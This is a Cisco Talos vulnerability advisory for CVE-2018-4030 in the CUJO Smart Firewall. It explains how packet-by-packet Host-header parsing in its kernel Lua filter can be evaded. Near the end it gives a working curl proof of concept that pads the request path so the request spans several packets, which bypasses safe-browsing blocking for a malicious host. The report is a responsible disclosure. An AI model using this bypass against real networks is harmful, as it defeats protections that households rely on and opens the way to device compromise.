Talos Vulnerability Report

TALOS-2018-0702

CUJO Smart Firewall safe browsing Host header-parsing firewall bypass vulnerability

March 19, 2019
CVE Number

CVE-2018-4030

Summary

An exploitable vulnerability exists the safe browsing function of the CUJO Smart Firewall, version 7003. The bug lies in the way the safe browsing function parses HTTP requests. The "Host" header is incorrectly extracted from captured HTTP requests, which would allow an attacker to visit any malicious websites and bypass the firewall. An attacker could send an HTTP request to exploit this vulnerability.

Tested Versions

CUJO Smart Firewall - Firmware version 7003

Product URLs

https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Details

CUJO AI produces the CUJO Smart Firewall, a device that protects home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.

CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.

The firmware is present in the external eMMC and is based on OCTEON's SDK, which results in a Linux-based operating system running a kernel with PaX patches.

During normal operation, the core process is agent — it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with "tappers", which are processes meant to listen for a variety of network activities.

In addition, CUJO's safebro component inspects a subset of the network traffic using a combination of iptables rules and Lua scripts:

    # iptables -S FORWARD
    -P FORWARD ACCEPT
    -A FORWARD -m set --match-set blacklist src -j DROP
    -A FORWARD -m set --match-set blacklist dst -j DROP
    -A FORWARD -p tcp -m tcp --dport 443 --tcp-flags PSH PSH -m lua --function nf_ssl -j REJECT --reject-with tcp-reset
    -A FORWARD -p tcp -m tcp --dport 80 --tcp-flags FIN FIN -m lua --function nf_http_fin -j REJECT --reject-with tcp-reset
[1] -A FORWARD -p tcp -m tcp --dport 80 --tcp-flags PSH PSH -m lua --function nf_http -j DROP

Since CUJO redirects all network traffic to itself, in order to act as a router, every network packet on the network with destination port 80 matches the last rule shown above.

This rule sends the packet contents to the netfilter module libxt_lua.so, which simply calls the Lua function nf_http, passing the packet's payload as first argument. Lunatic, a Lua engine implementation for the Linux kernel, evaluated the Lua call, so script executions happen in the kernel context.

The agent-flush script performs the initial configuration of the in-kernel Lua environment:

    ...
    NF_SCRIPTS="nf nf_lru nf_threat nf_safebro nf_ssl nf_http"
    for script in ${NF_SCRIPTS}; do
[2]     if ! cat /usr/libexec/cujo/lua/${script}.lua > /proc/nf_lua; then
            logger -is "$0: failed to load ${script}.lua on nf_lua"
            exit 3
        fi
    done
    ...

At [2], we can see how the userland process can execute a Lua statement in kernel by simply writing to /proc/nf_lua.

The script above sets up a series of functions that the iptables rules invokes in order to analyze the network traffic. For example, the nf_http function is defined in nf_http.lua:

    ...
    function nf_http(frame, packet)
        local mac = nf.mac(frame)
        local ip = nf.ipv4(packet)
        local tcp, payload = nf.tcp(ip)

        if payload and not threat.bypass[mac.src] then
            local request = tostring(payload)
[3]         local path, host = string.match(request, '[A-Z]+ (%g+).*Host: (%g+)')

            if host then
                local key = string.format('%s:%x', host, mac.src)

                return not threat.whitelist[key] and not unblock(host, request, key)
[4]                 and block(host, key, path, mac, ip, tcp) -- DROP
            end
        end

        return false -- ALLOW
    end
    ...

    local function block(host, key, path, mac, ip, tcp)
[5]     local block, reason = safebro.filter(host, ip.src, mac.src)

[12]    if block then
            local salt
            local page = blockpage

            if reason == 'safe browsing' then
                page = warnpage
                salt = math.random()
                blocked[key] = salt
            end

            nf.reply('tcp', response(page, host .. path, salt))
            finished[source(ip, tcp)] = true
        end

        return block
    end
    ...

The "Host" header is extracted [3] from the packet. If found, it is passed to the block [4] function which internally uses safebro.filter [5] to decide whether to block or allow the connection.

The call to safebro.filter eventually reaches threat.lookup [6], which leads to querying the threatd process in userspace:

    local function command(cmd, data)
[7]     nf.touser(string.format("%s %s", cmd, json.encode(data or '{}')))
    end

    local cache   = lru.new(1024, 24 * 60 * 60)
    local pending = lru.new(128, 60)

[6] function threat.lookup(hostname)
        local entry = cache[hostname]

        if not entry then
            if not pending[hostname] then
                pending[hostname] = true
[8]             command('lookup', {hostname = hostname})
            end
            print('cache miss: ' .. hostname)
            return nil
        end

        return table.unpack(entry)
    end

The function nf.touser is invoked at [7]: This function writes back to /proc/nf_lua, which is also read by the threatd process. This is the way CUJO uses to allow the kernel to communicate with userland processes.

The threatd process is implemented as a Lua script, and defines a lookup command [8] that checks the reputation of the destination host:

...
[8] lookup = function (nflua, data)
[9]     local reputation, categories = lookup(data.hostname)
[10]    local cache = string.format('threat.cache("%s",{%s,{%s}})',
[11]        data.hostname, reputation, table.concat(categories, ','))
        assert(nflua:write(cache))
        nflua:flush()
    end,
...

First, threatd uses the lookup call [9] to query Brightcloud's services, and finally returns the host reputation back to the Lua engine running in kernel. In practice, returning values from userland is implemented by evaluating Lua statements: at [10] the hostname and its reputation data are inserted as parameters in a function call to threat.cache, which is executed by the kernel engine by writing to /proc/nf_lua [11].

Back to the kernel context, the reputation is checked and the filtering decision is chosen accordingly [12].

The whole filtering logic relies on inspecting individual TCP packets: this has the downside of not having the complete stream overview. In fact, the HTTP communication is going to be split in multiple packets, depending on TCP's MSS.
Because of this, the filtering is easily evaded by simply forcing an HTTP message to span multiple packets, allowing a malicious website to be visited, effectively evading CUJO's filtering. This is easy to achieve, for example, by using an overlong path in a GET request.

Note that while this vulnerability has a score of 5.3, it can be combined with TALOS-2018-0703, enabling malicious websites to remotely compromise the device itself.

Exploit Proof of Concept

The following proof of concept shows how to communicate with a malicious website, evading CUJO's safe browsing filtering.

$ curl 'http://${MALICIOUS_HOST}/'$(perl -e 'print "0"x1500')

Assuming an MSS of 1460, the above command generates an HTTP GExT request which is split in two packets, for example:

- Packet 1
GET /000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

- Packet 2
000000000000000000000000000000000000000000000000000000000 HTTP/1.1
Host: ${MALICIOUS_HOST}
User-Agent: curl/7.61.1
Accept: */*

None of the packets above match the "[A-Z]+ (%g+).*Host: (%g+)" regular expression [3], thus the connection is not blocked.

Timeline

2018-11-05 - Vendor Disclosure
2019-03-19 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.